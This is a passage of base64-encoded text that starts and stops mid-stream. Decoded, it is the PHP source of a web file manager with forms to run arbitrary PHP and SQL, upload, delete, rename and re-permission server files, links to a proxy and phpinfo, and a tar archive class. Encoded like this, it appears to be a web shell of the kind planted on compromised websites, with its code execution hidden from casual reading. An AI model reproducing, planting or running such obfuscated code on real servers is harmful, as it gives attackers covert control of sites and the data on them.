qJz8+IiBzaXplPSI1Ij4NCgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzZWFyY2giIHZhbHVlPSI8Pz1fXygnU2VhcmNoJyk/PiI+DQoJCQkJPC9mb3JtPg0KCQkJPC90ZD4NCgkJCTx0ZD4NCgkJCTw/PWZtX3J1bl9pbnB1dCgncGhwJyk/Pg0KCQkJPC90ZD4NCgkJCTx0ZD4NCgkJCTw/PWZtX3J1bl9pbnB1dCgnc3FsJyk/Pg0KCQkJPC90ZD4NCgkJCTwvdHI+DQoJCTwvdGFibGU+DQogICAgPC90ZD4NCiAgICA8dGQgY2xhc3M9InJvdzMiPg0KCQk8dGFibGU+DQoJCTx0cj4NCgkJICAgICA8dGQ+DQoNCgkJICAgICA8P3BocCBpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3VwbG9hZF9maWxlJ10pKSB7ID8+DQogICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgCTxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JHVybF9pbmM/PiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQogICAgICAgICAgICAgICAgICAgIA0KCQkgICAgIAk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iPD89JHBhdGg/PiIgLz4NCg0KCQkgICAgIAk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBsb2FkIiBpZD0idXBsb2FkX2hpZGRlbiIgc3R5bGU9InBvc2l0aW9uOiBhYnNvbHV0ZTsgZGlzcGxheTogYmxvY2s7IG92ZXJmbG93OiBoaWRkZW47IHdpZHRoOiAwOyBoZWlnaHQ6IDA7IGJvcmRlcjogMDsgcGFkZGluZzogMDsiIG9uY2hhbmdlPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXBsb2FkX3Zpc2libGUnKS52YWx1ZSA9IHRoaXMudmFsdWU7IiAvPg0KDQoJCSAgICAgCTxpbnB1dCB0eXBlPSJ0ZXh0IiByZWFkb25seT0iMSIgaWQ9InVwbG9hZF92aXNpYmxlIiBwbGFjZWhvbGRlcj0iPD89X18oJ1NlbGVjdCB0aGUgZmlsZScpPz4iIHN0eWxlPSJjdXJzb3I6IHBvaW50ZXI7IiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXBsb2FkX2hpZGRlbicpLmNsaWNrKCk7IiAvPg0KICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idGVzdCIgdmFsdWU9Ijw/PV9fKCdVcGxvYWQnKT8+IiAvPg0KDQoJCSAgICAgCTwvZm9ybT4NCg0KCQkgICAgIDw/cGhwIH0gPz4NCiAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgPC90ZD4NCgkJPHRkPg0KCQk8P3BocCBpZiAoJGF1dGhbJ2F1dGhvcml6ZSddKSB7ID8+DQoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4mbmJzcDsmbmJzcDsmbmJzcDsNCgkJCTxpbnB1dCBuYW1lPSJxdWl0IiB0eXBlPSJoaWRkZW4iIHZhbHVlPSIxIj4NCgkJCTw/PV9fKCdmaWxlJyk/PiwgPD89JGF1dGhbJ2xvZ2luJ10/Pg0KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ijw/PV9fKCdRdWl0Jyk/PiI+DQoJCQk8L2Zvcm0+DQoJCTw/cGhwIH0gPz4NCgkJPC90ZD4NCgkJPHRkPg0KCQk8Pz1mbV9sYW5nX2Zvcm0oJGxhbmd1YWdlKT8+DQoJCTwvdGQ+DQoJCTx0cj4NCgkJPC90YWJsZT4NCiAgICA8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8dGFibGUgY2xhc3M9ImFsbCIgYm9yZGVyPScwJyBjZWxsc3BhY2luZz0nMScgY2VsbHBhZGRpbmc9JzEnIGlkPSJmbV90YWJsZSIgd2lkdGg9IjEwMCUiPg0KPHRoZWFkPg0KPHRyPiANCiAgICA8dGggc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdGaWxlbmFtZScpPz4gPC90aD4NCiAgICA8dGggc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdTaXplJyk/PiA8L3RoPg0KICAgIDx0aCBzdHlsZT0id2hpdGUtc3BhY2U6bm93cmFwIj4gPD89X18oJ0RhdGUnKT8+IDwvdGg+DQogICAgPHRoIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPiA8Pz1fXygnUmlnaHRzJyk/PiA8L3RoPg0KICAgIDx0aCBjb2xzcGFuPSI0IiBzdHlsZT0id2hpdGUtc3BhY2U6bm93cmFwIj4gPD89X18oJ01hbmFnZScpPz4gPC90aD4NCjwvdHI+DQo8L3RoZWFkPg0KPHRib2R5Pg0KPD9waHANCiRlbGVtZW50cyA9IGZtX3NjYW5fZGlyKCRwYXRoLCAnJywgJ2FsbCcsIHRydWUpOw0KJGRpcnMgPSBhcnJheSgpOw0KJGZpbGVzID0gYXJyYXkoKTsNCmZvcmVhY2ggKCRlbGVtZW50cyBhcyAkZmlsZSl7DQogICAgaWYoQGlzX2RpcigkcGF0aCAuICRmaWxlKSl7DQogICAgICAgICRkaXJzW10gPSAkZmlsZTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkZmlsZXNbXSA9ICRmaWxlOw0KICAgIH0NCn0NCm5hdHNvcnQoJGRpcnMpOyBuYXRzb3J0KCRmaWxlcyk7DQokZWxlbWVudHMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsNCg0KZm9yZWFjaCAoJGVsZW1lbnRzIGFzICRmaWxlKXsNCiAgICAkZmlsZW5hbWUgPSAkcGF0aCAuICRmaWxlOw0KICAgICRmaWxlZGF0YSA9IEBzdGF0KCRmaWxlbmFtZSk7DQogICAgaWYoQGlzX2RpcigkZmlsZW5hbWUpKXsNCgkJJGZpbGVkYXRhWzddID0gJyc7DQoJCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19kaXJfc2l6ZSddKSYmIWZtX3Jvb3QoJGZpbGUpKSAkZmlsZWRhdGFbN10gPSBmbV9kaXJfc2l6ZSgkZmlsZW5hbWUpOw0KICAgICAgICAkbGluayA9ICc8YSBocmVmPSInLiR1cmxfaW5jLicmcGF0aD0nLiRwYXRoLiRmaWxlLiciIHRpdGxlPSInLl9fKCdTaG93JykuJyAnLiRmaWxlLiciPjxzcGFuIGNsYXNzPSJmb2xkZXIiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvc3Bhbj4gJy4kZmlsZS4nPC9hPic7DQogICAgICAgICRsb2FkbGluaz0gKGZtX3Jvb3QoJGZpbGUpfHwkcGhhcl9tYXliZSkgPyAnJyA6IGZtX2xpbmsoJ3ppcCcsJGZpbGVuYW1lLF9fKCdDb21wcmVzcycpLicmbmJzcDt6aXAnLF9fKCdBcmNoaXZpbmcnKS4nICcuICRmaWxlKTsNCgkJJGFybGluayAgPSAoZm1fcm9vdCgkZmlsZSl8fCRwaGFyX21heWJlKSA/ICcnIDogZm1fbGluaygnZ3onLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7LnRhci5neicsX18oJ0FyY2hpdmluZycpLicgJy4kZmlsZSk7DQogICAgICAgICRzdHlsZSA9ICdyb3cyJzsNCgkJIGlmICghZm1fcm9vdCgkZmlsZSkpICRhbGVydCA9ICdvbkNsaWNrPSJpZihjb25maXJtKFwnJyAuIF9fKCdBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZGlyZWN0b3J5IChyZWN1cnNpdmVseSk/JykuJ1xuIC8nLiAkZmlsZS4gJ1wnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnJyAuICR1cmxfaW5jIC4gJyZkZWxldGU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAgLiAnXCciJzsgZWxzZSAkYWxlcnQgPSAnJzsNCiAgICB9IGVsc2Ugew0KCQkkbGluayA9IA0KCQkJJGZtX2NvbmZpZ1snc2hvd19pbWcnXSYmQGdldGltYWdlc2l6ZSgkZmlsZW5hbWUpIA0KCQkJPyAnPGEgdGFyZ2V0PSJfYmxhbmsiIG9uY2xpY2s9InZhciBsZWZ0byA9IHNjcmVlbi5hdmFpbFdpZHRoLzItMzIwO3dpbmRvdy5vcGVuKFwnJw0KCQkJLiBmbV9pbWdfbGluaygkZmlsZW5hbWUpDQoJCQkuJ1wnLFwncG9wdXBcJyxcJ3dpZHRoPTY0MCxoZWlnaHQ9NDgwLGxlZnQ9XCcgKyBsZWZ0byArIFwnLHNjcm9sbGJhcnM9eWVzLHRvb2xiYXI9bm8sbG9jYXRpb249bm8sZGlyZWN0b3JpZXM9bm8sc3RhdHVzPW5vXCcpO3JldHVybiBmYWxzZTsiIGhyZWY9IicuZm1faW1nX2xpbmsoJGZpbGVuYW1lKS4nIj48c3BhbiBjbGFzcz0iaW1nIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+ICcuJGZpbGUuJzwvYT4nDQoJCQk6ICc8YSBocmVmPSInIC4gJHVybF9pbmMgLiAnJmVkaXQ9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aC4gJyIgdGl0bGU9IicgLiBfXygnRWRpdCcpIC4gJyI+PHNwYW4gY2xhc3M9ImZpbGUiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvc3Bhbj4gJy4kZmlsZS4nPC9hPic7DQoJCSRlX2FyciA9IGV4cGxvZGUoIi4iLCAkZmlsZSk7DQoJCSRleHQgPSBlbmQoJGVfYXJyKTsNCiAgICAgICAgJGxvYWRsaW5rID0gIGZtX2xpbmsoJ2Rvd25sb2FkJywkZmlsZW5hbWUsX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZmlsZSk7DQoJCSRhcmxpbmsgPSBpbl9hcnJheSgkZXh0LGFycmF5KCd6aXAnLCdneicsJ3RhcicpKSANCgkJPyAnJw0KCQk6ICgoZm1fcm9vdCgkZmlsZSl8fCRwaGFyX21heWJlKSA/ICcnIDogZm1fbGluaygnZ3pmaWxlJywkZmlsZW5hbWUsX18oJ0NvbXByZXNzJykuJyZuYnNwOy50YXIuZ3onLF9fKCdBcmNoaXZpbmcnKS4nICcuICRmaWxlKSk7DQogICAgICAgICRzdHlsZSA9ICdyb3cxJzsNCgkJJGFsZXJ0ID0gJ29uQ2xpY2s9ImlmKGNvbmZpcm0oXCcnLiBfXygnRmlsZSBzZWxlY3RlZCcpLic6IFxuJy4gJGZpbGUuICcuIFxuJy5fXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGZpbGU/JykgLiAnXCcpKSBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gXCcnIC4gJHVybF9pbmMgLiAnJmRlbGV0ZT0nIC4gJGZpbGUgLiAnJnBhdGg9JyAuICRwYXRoICAuICdcJyInOw0KICAgIH0NCiAgICAkZGVsZXRlbGluayA9IGZtX3Jvb3QoJGZpbGUpID8gJycgOiAnPGEgaHJlZj0iIyIgdGl0bGU9IicgLiBfXygnRGVsZXRlJykgLiAnICcuICRmaWxlIC4gJyIgJyAuICRhbGVydCAuICc+JyAuIF9fKCdEZWxldGUnKSAuICc8L2E+JzsNCiAgICAkcmVuYW1lbGluayA9IGZtX3Jvb3QoJGZpbGUpID8gJycgOiAnPGEgaHJlZj0iJyAuICR1cmxfaW5jIC4gJyZyZW5hbWU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAuICciIHRpdGxlPSInIC4gX18oJ1JlbmFtZScpIC4nICcuICRmaWxlIC4gJyI+JyAuIF9fKCdSZW5hbWUnKSAuICc8L2E+JzsNCiAgICAkcmlnaHRzdGV4dCA9ICgkZmlsZT09Jy4nIHx8ICRmaWxlPT0nLi4nKSA/ICcnIDogJzxhIGhyZWY9IicgLiAkdXJsX2luYyAuICcmcmlnaHRzPScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGggLiAnIiB0aXRsZT0iJyAuIF9fKCdSaWdodHMnKSAuJyAnLiAkZmlsZSAuICciPicgLiBAZm1fcmlnaHRzX3N0cmluZygkZmlsZW5hbWUpIC4gJzwvYT4nOw0KPz4NCjx0ciBjbGFzcz0iPD89JHN0eWxlPz4iPiANCiAgICA8dGQ+PD89JGxpbms/PjwvdGQ+DQogICAgPHRkPjw/PSRmaWxlZGF0YVs3XT8+PC90ZD4NCiAgICA8dGQgc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+PD89Z21kYXRlKCJZLW0tZCBIOmk6cyIsJGZpbGVkYXRhWzldKT8+PC90ZD4NCiAgICA8dGQ+PD89JHJpZ2h0c3RleHQ/PjwvdGQ+DQogICAgPHRkPjw/PSRkZWxldGVsaW5rPz48L3RkPg0KICAgIDx0ZD48Pz0kcmVuYW1lbGluaz8+PC90ZD4NCiAgICA8dGQ+PD89JGxvYWRsaW5rPz48L3RkPg0KICAgIDx0ZD48Pz0kYXJsaW5rPz48L3RkPg0KPC90cj4NCjw/cGhwDQogICAgfQ0KfQ0KPz4NCjwvdGJvZHk+DQo8L3RhYmxlPg0KPGRpdiBjbGFzcz0icm93MyI+PD9waHANCgkkbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOyANCgkkdG90YWx0aW1lID0gJG10aW1lWzBdICsgJG10aW1lWzFdIC0gJHN0YXJ0dGltZTsgDQoJZWNobyBmbV9ob21lKCkuJyB8IHZlci4gJy4kZm1fdmVyc2lvbi4nIHwgPGEgaHJlZj0iaHR0cHM6Ly8iPkdpdGh1YjwvYT4gIHwgPGEgaHJlZj0iJy5mbV9zaXRlX3VybCgpLiciPi48L2E+JzsNCglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfcGhwX3ZlciddKSkgZWNobyAnIHwgUEhQICcucGhwdmVyc2lvbigpOw0KCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19waHBfaW5pJ10pKSBlY2hvICcgfCAnLnBocF9pbmlfbG9hZGVkX2ZpbGUoKTsNCglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfZ3QnXSkpIGVjaG8gJyB8ICcuX18oJ0dlbmVyYXRpb24gdGltZScpLic6ICcucm91bmQoJHRvdGFsdGltZSwyKTsNCglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV9wcm94eSddKSkgZWNobyAnIHwgPGEgaHJlZj0iP3Byb3h5PXRydWUiPnByb3h5PC9hPic7DQoJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X3BocGluZm8nXSkpIGVjaG8gJyB8IDxhIGhyZWY9Ij9waHBpbmZvPXRydWUiPnBocGluZm88L2E+JzsNCglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfeGxzJ10pJiYhZW1wdHkoJGxpbmspKSBlY2hvICcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OiB2b2lkKDApIiBvbmNsaWNrPSJ2YXIgb2JqID0gbmV3IHRhYmxlMkV4Y2VsKCk7IG9iai5DcmVhdGVFeGNlbFNoZWV0KFwnZm1fdGFibGVcJyxcJ2V4cG9ydFwnKTsiIHRpdGxlPSInLl9fKCdEb3dubG9hZCcpLicgeGxzIj54bHM8L2E+JzsNCglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2ZtX3NldHRpbmdzJ10pKSBlY2hvICcgfCA8YSBocmVmPSI/Zm1fc2V0dGluZ3M9dHJ1ZSI+Jy5fXygnU2V0dGluZ3MnKS4nPC9hPic7DQoJPz4NCg0KDQo8P3BocA0KLy9Qb3J0ZWQgZnJvbSBSZWxvYWRDTVMgcHJvamVjdCBodHRwOi8vcmVsb2FkY21zLmNvbQ0KY2xhc3MgYXJjaGl2ZVRhciB7DQoJdmFyICRhcmNoaXZlX25hbWUgPSAnJzsNCgl2YXIgJHRtcF9maWxlID0gMDsNCgl2YXIgJGZpbGVfcG9zID0gMDsNCgl2YXIgJGlzR3ppcHBlZCA9IHRydWU7DQoJdmFyICRlcnJvcnMgPSBhcnJheSgpOw0KCXZhciAkZmlsZXMgPSBhcnJheSgpOw0KCQ0KCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7DQoJCWlmICghaXNzZXQoJHRoaXMtPmVycm9ycykpICR0aGlzLT5lcnJvcnMgPSBhcnJheSgpOw0KCX0NCgkNCglmdW5jdGlvbiBjcmVhdGVBcmNoaXZlKCRmaWxlX2xpc3Qpew0KCQkkcmVzdWx0ID0gZmFsc2U7DQoJCWlmIChmaWxlX2V4aXN0cygkdGhpcy0+YXJjaGl2ZV9uYW1lKSAmJiBpc19maWxlKCR0aGlzLT5hcmNoaXZlX25hbWUpKSAJJG5ld0FyY2hpdmUgPSBmYWxzZTsNCgkJZWxzZSAkbmV3QXJjaGl2ZSA9IHRydWU7DQoJCWlmICgkbmV3QXJjaGl2ZSl7DQoJCQlpZiAoISR0aGlzLT5vcGVuV3JpdGUoKSkgcmV0dXJuIGZhbHNlOw0KCQl9IGVsc2Ugew0KCQkJaWYgKGZpbGVzaXplKCR0aGlzLT5hcmNoaXZlX25hbWUpID09IDApCXJldHVybiAkdGhpcy0+b3BlbldyaXRlKCk7DQoJCQlpZiAoJHRoaXMtPmlzR3ppcHBlZCkgew0KCQkJCSR0aGlzLT5jbG9zZVRtcEZpbGUoKTsNCgkJCQlpZiAoIXJlbmFtZSgkdGhpcy0+YXJjaGl2ZV9uYW1lLCAkdGhpcy0+YXJjaGl2ZV9uYW1lLicudG1wJykpew0KCQkJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IHJlbmFtZScpLicgJy4kdGhpcy0+YXJjaGl2ZV9uYW1lLl9fKCcgdG8gJykuJHRoaXMtPmFyY2hpdmVfbmFtZS4nLnRtcCc7DQoJCQkJCXJldHVybiBmYWxzZTsNCgkJCQl9DQoJCQkJJHRtcEFyY2hpdmUgPSBnem9wZW4oJHRoaXMtPmFyY2hpdmVfbmFtZS4nLnRtcCcsICdyYicpOw0KCQkJCWlmICghJHRtcEFyY2hpdmUpew0KCQkJCQkkdGhpcy0+ZXJyb3JzW10gPSAkdGhpcy0+YXJjaGl2ZV9uYW1lLicudG1wICcuX18oJ2lzIG5vdCByZWFkYWJsZScpOw0KCQkJCQlyZW5hbWUoJHRoaXMtPmFyY2hpdmVfbmFtZS4nLnRtcCcsICR0aGlzLT5hcmNoaXZlX25hbWUpOw0KCQkJCQlyZXR1cm4gZmFsc2U7DQoJCQkJfQ0KCQkJCWlmICghJHRoaXMtPm9wZW5Xcml0ZSgpKXsNCgkJCQkJcmVuYW1lKCR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnLCAkdGhpcy0+YXJjaGl2ZV9uYW1lKTsNCgkJCQkJcmV0dXJuIGZhbHNlOw0KCQkJCX0NCgkJCQkkYnVmZmVyID0gZ3pyZWFkKCR0bXBBcmNoaXZlLCA1MTIpOw0KCQkJCWlmICghZ3plb2YoJHRtcEFyY2hpdmUpKXsNCgkJCQkJZG8gew0KCQkJCQkJJGJpbmFyeURhdGEgPSBwYWNrKCdhNTEyJywgJGJ1ZmZlcik7DQoJCQkJCQkkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSk7DQoJCQkJCQkkYnVmZmVyID0gZ3pyZWFkKCR0bXBBcmNoaXZlLCA1MTIpOw0KCQkJCQl9DQoJCQkJCXdoaWxlICghZ3plb2YoJHRtcEFyY2hpdmUpKTsNCgkJCQl9DQoJCQkJZ3pjbG9zZSgkdG1wQXJjaGl2ZSk7DQoJCQkJdW5saW5rKCR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnKTsNCgkJCX0gZWxzZSB7DQoJCQkJJHRoaXMtPnRtcF9maWxlID0gZm9wZW4oJHRoaXMtPmFyY2hpdmVfbmFtZSwgJ3IrYicpOw0KCQkJCWlmICghJHRoaXMtPnRtcF9maWxlKQlyZXR1cm4gZmFsc2U7DQoJCQl9DQoJCX0NCgkJaWYgKGlzc2V0KCRmaWxlX2xpc3QpICYmIGlzX2FycmF5KCRmaWxlX2xpc3QpKSB7DQoJCWlmIChjb3VudCgkZmlsZV9saXN0KT4wKQ0KCQkJJHJlc3VsdCA9ICR0aGlzLT5wYWNrRmlsZUFycmF5KCRmaWxlX2xpc3QpOw0KCQl9IGVsc2UgJHRoaXMtPmVycm9yc1tdID0gX18oJ05vIGZpbGUnKS5fXygnIHRvICcpLl9fKCdBcmNoaXZlJyk7DQoJCWlmICgoJHJlc3VsdCkmJihpc19yZXNvdXJjZSgkdGhpcy0+dG1wX2ZpbGUpKSl7DQoJCQkkYmluYXJ5RGF0YSA9IHBhY2soJ2E1MTInLCAnJyk7DQoJCQkkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSk7DQoJCX0NCgkJJHRoaXMtPmNsb3NlVG1wRmlsZSgpOw0KCQlpZiAoJG5ld0FyY2hpdmUgJiYgISRyZXN1bHQpew0KCQkkdGhpcy0+Y2xvc2VUbXBGaWxlKCk7DQoJCXVubGluaygkdGhpcy0+YXJjaGl2ZV9uYW1lKTsNCgkJfQ0KCQlyZXR1cm4gJHJlc3VsdDsNCgl9DQoNCglmdW5jdGlvbiByZXN0b3JlQXJjaGl2ZSgkcGF0aCl7DQoJCSRmaWxlTmFtZSA9ICR0aGlzLT5hcmNoaXZlX25hbWU7DQoJCWlmICghJHRoaXMtPmlzR3ppcHBlZCl7DQoJCQlpZiAoZmlsZV9leGlzdHMoJGZpbGVOYW1lKSl7DQoJCQkJaWYgKCRmcCA9IGZvcGVuKCRmaWxlTmFtZSwgJ3JiJykpew0KCQkJCQkkZGF0YSA9IGZyZWFkKCRmcCwgMik7DQoJCQkJCWZjbG9zZSgkZnApOw0KCQkJCQlpZiAoJGRhdGEgPT0gJ1wzN1wyMTMnKXsNCgkJCQkJCSR0aGlzLT5pc0d6aXBwZWQgPSB0cnVlOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQkJZWxzZWlmICgoc3Vic3RyKCRmaWxlTmFtZSwgLTIpID09ICdneicpIE9SIChzdWJzdHIoJGZpbGVOYW1lLCAtMykgPT0gJ3RneicpKSAkdGhpcy0+aXNHemlwcGVkID0gdHJ1ZTsNCgkJfSANCgkJJHJlc3VsdCA9IHRydWU7DQoJCWlmICgkdGhpcy0+aXNHemlwcGVkKSAkdGhpcy0+dG1wX2ZpbGUgPSBnem9wZW4oJGZpbGVOYW1lLCAncmInKTsNCgkJZWxzZSAkdGhpcy0+dG1wX2ZpbGUgPSBmb3BlbigkZmlsZU5hbWUsICdyYicpOw0KCQlpZiAoISR0aGlzLT50bXBfZmlsZSl7DQoJCQkkdGhpcy0+ZXJyb3JzW10gPSAkZmlsZU5hbWUuJyAnLl9fKCdpcyBub3QgcmVhZGFibGUnKTsNCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQkkcmVzdWx0ID0gJHRoaXMtPnVucGFja0ZpbGVBcnJheSgkcGF0aCk7DQoJCQkkdGhpcy0+Y2xvc2VUbXBGaWxlKCk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX0NCg0KCWZ1bmN0aW9uIHNob3dFcnJvcnMJKCRtZXNzYWdlID0gJycpIHsNCgkJJEVycm9ycyA9ICR0aGlzLT5lcnJvcnM7DQoJCWlmKGNvdW50KCRFcnJvcnMpPjApIHsNCgkJaWYgKCFlbXB0eSgkbWVzc2FnZSkpICRtZXNzYWdlID0gJyAoJy4kbWVzc2FnZS4nKSc7DQoJCQkkbWVzc2FnZSA9IF9fKCdFcnJvciBvY2N1cnJlZCcpLiRtZXNzYWdlLic6IDxici8+JzsNCgkJCWZvcmVhY2ggKCRFcnJvcnMgYXMgJHZhbHVlKQ0KCQkJCSRtZXNzYWdlIC49ICR2YWx1ZS4nPGJyLz4nOw0KCQkJcmV0dXJuICRtZXNzYWdlOwkNCgkJfSBlbHNlIHJldHVybiAnJzsNCgkJDQoJfQ0KCQ0KCWZ1bmN0aW9uIHBhY2tGaWxlQXJyYXkoJGZpbGVfYXJyYXkpew0KCQkkcmVzdWx0ID0gdHJ1ZTsNCgkJaWYgKCEkdGhpcy0+dG1wX2ZpbGUpew0KCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0ludmFsaWQgZmlsZSBkZXNjcmlwdG9yJyk7DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJaWYgKCFpc19hcnJheSgkZmlsZV9hcnJheSkgfHwgY291bnQoJGZpbGVfYXJyYXkpPD0wKQ0KICAgICAgICAgIHJldHVybiB0cnVlOw0KCQlmb3IgKCRpID0gMDsgJGk8Y291bnQoJGZpbGVfYXJyYXkpOyAkaSsrKXsNCgkJCSRmaWxlbmFtZSA9ICRmaWxlX2FycmF5WyRpXTsNCgkJCWlmICgkZmlsZW5hbWUgPT0gJHRoaXMtPmFyY2hpdmVfbmFtZSkNCgkJCQljb250aW51ZTsNCgkJCWlmIChzdHJsZW4oJGZpbGVuYW1lKTw9MCkNCgkJCQljb250aW51ZTsNCgkJCWlmICghZmlsZV9leGlzdHMoJGZpbGVuYW1lKSl7DQoJCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ05vIGZpbGUnKS4nICcuJGZpbGVuYW1lOw0KCQkJCWNvbnRpbnVlOw0KCQkJfQ0KCQkJaWYgKCEkdGhpcy0+dG1wX2ZpbGUpew0KCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0ludmFsaWQgZmlsZSBkZXNjcmlwdG9yJyk7DQoJCQlyZXR1cm4gZmFsc2U7DQoJCQl9DQoJCWlmIChzdHJsZW4oJGZpbGVuYW1lKTw9MCl7DQoJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnRmlsZW5hbWUnKS4nICcuX18oJ2lzIGluY29ycmVjdCcpOzsNCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQkkZmlsZW5hbWUgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRmaWxlbmFtZSk7DQoJCSRrZWVwX2ZpbGVuYW1lID0gJHRoaXMtPm1ha2VHb29kUGF0aCgkZmlsZW5hbWUpOw0KCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsNCgkJCWlmICgoJGZpbGUgPSBmb3BlbigkZmlsZW5hbWUsICdyYicpKSA9PSAwKXsNCgkJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnTW9kZSAnKS5fXygnaXMgaW5jb3JyZWN0Jyk7DQoJCQl9DQoJCQkJaWYoKCR0aGlzLT5maWxlX3BvcyA9PSAwKSl7DQoJCQkJCWlmKCEkdGhpcy0+d3JpdGVIZWFkZXIoJGZpbGVuYW1lLCAka2VlcF9maWxlbmFtZSkpDQoJCQkJCQlyZXR1cm4gZmFsc2U7DQoJCQkJfQ0KCQkJCXdoaWxlICgoJGJ1ZmZlciA9IGZyZWFkKCRmaWxlLCA1MTIpKSAhPSAnJyl7DQoJCQkJCSRiaW5hcnlEYXRhID0gcGFjaygnYTUxMicsICRidWZmZXIpOw0KCQkJCQkkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSk7DQoJCQkJfQ0KCQkJZmNsb3NlKCRmaWxlKTsNCgkJfQllbHNlICR0aGlzLT53cml0ZUhlYWRlcigkZmlsZW5hbWUsICRrZWVwX2ZpbGVuYW1lKTsNCgkJCWlmIChAaXNfZGlyKCRmaWxlbmFtZSkpew0KCQkJCWlmICghKCRoYW5kbGUgPSBvcGVuZGlyKCRmaWxlbmFtZSkpKXsNCgkJCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0Vycm9yJykuJzogJy5fXygnRGlyZWN0b3J5ICcpLiRmaWxlbmFtZS5fXygnaXMgbm90IHJlYWRhYmxlJyk7DQoJCQkJCWNvbnRpbnVlOw0KCQkJCX0NCgkJCQl3aGlsZSAoZmFsc2UgIT09ICgkZGlyID0gcmVhZGRpcigkaGFuZGxlKSkpew0KCQkJCQlpZiAoJGRpciE9Jy4nICYmICRkaXIhPScuLicpew0KCQkJCQkJJGZpbGVfYXJyYXlfdG1wID0gYXJyYXkoKTsNCgkJCQkJCWlmICgkZmlsZW5hbWUgIT0gJy4nKQ0KCQkJCQkJCSRmaWxlX2FycmF5X3RtcFtdID0gJGZpbGVuYW1lLicvJy4kZGlyOw0KCQkJCQkJZWxzZQ0KCQkJCQkJCSRmaWxlX2FycmF5X3RtcFtdID0gJGRpcjsNCg0KCQkJCQkJJHJlc3VsdCA9ICR0aGlzLT5wYWNrRmlsZUFycmF5KCRmaWxlX2FycmF5X3RtcCk7DQoJCQkJCX0NCgkJCQl9DQoJCQkJdW5zZXQoJGZpbGVfYXJyYXlfdG1wKTsNCgkJCQl1bnNldCgkZGlyKTsNCgkJCQl1bnNldCgkaGFuZGxlKTsNCgkJCX0NCgkJfQ0KCQlyZXR1cm4gJHJlc3VsdDsNCgl9DQoNCglmdW5jdGlvbiB1bnBhY2tGaWxlQXJyYXkoJHBhdGgpeyANCgkJJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRwYXRoKTsNCgkJaWYgKCRwYXRoID09ICcnCXx8IChzdWJzdHIoJHBhdGgsIDAsIDEpICE9ICcvJyAmJiBzdWJzdHIoJHBhdGgsIDAsIDMpICE9ICcuLi8nICYmICFzdH